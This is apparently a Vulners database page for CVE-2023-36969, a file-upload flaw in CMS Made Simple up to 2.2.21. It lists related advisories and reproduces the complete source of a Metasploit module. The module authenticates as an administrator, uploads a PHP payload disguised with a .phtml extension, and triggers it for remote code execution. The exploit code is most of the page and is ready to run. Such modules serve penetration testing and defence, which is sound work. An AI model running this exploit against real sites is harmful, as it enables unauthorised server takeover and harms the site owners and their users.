| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2023-36969 | 6 Jul 202315:15 | – | attackerkb | |
| CVE-2023-36969 | 28 Mar 202511:31 | – | circl | |
| CMS Made Simple 代码问题漏洞 | 6 Jul 202300:00 | – | cnnvd | |
| CVE-2023-36969 | 6 Jul 202300:00 | – | cve | |
| CVE-2023-36969 | 6 Jul 202300:00 | – | cvelist | |
| CmsMadeSimple Authenticated File Manager RCE | 28 Mar 202518:50 | – | metasploit | |
| CVE-2023-36969 | 6 Jul 202315:15 | – | nvd | |
| CVE-2023-36969 | 6 Jul 202315:15 | – | osv | |
| Design/Logic Flaw | 6 Jul 202315:15 | – | prion | |
| PT-2023-25757 · Unknown · Cms Made Simple | 6 Jul 202300:00 | – | ptsecurity |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
'Description' => %q{
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
with the .phar or .phtml extensions, enabling execution of PHP code
leading to RCE. The file can be executed by accessing its URL in the
/uploads/ directory.
Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
},
'License' => MSF_LICENSE,
'Author' => [
'Okan Kurtuluş', # Initial research
'Mirabbas Ağalarov', # EDB PoC
'tastyrice' # Metasploit Module
],
'References' => [
['CVE', '2023-36969'],
['EDB', '51600']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[
'Universal', {}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-06-07',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
)
end
def multipart_form_data(uri, data, message)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'keep_cookies' => true
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
'method' => 'GET'
)
unless res && res.code == 200
vprint_error('Connection Failed')
return CheckCode::Unknown
end
set_cookie = res.get_cookies
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
html = res.get_html_document
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
CheckCode::Detected
end
def login
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => data,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
vprint_good("#{peer} - Authentication was successful")
end
def send_file
filename = "#{rand_text_alpha(8..12)}.phtml"
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
payload = get_write_exec_payload(unlink_self: true)
# create the message with payload
message = Rex::MIME::Message.new
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part(c, nil, nil, 'form-data; name="__c"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
data = message.to_s
# send payload
payload_res = multipart_form_data('moduleinterface.php', data, message)
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
vprint_good("#{peer} - File uploaded #{filename}")
# open shell
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
'method' => 'GET'
)
return unless res && res.code == 404
print_error("Shell #{shell_name} not found")
end
def exploit
login
send_file
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation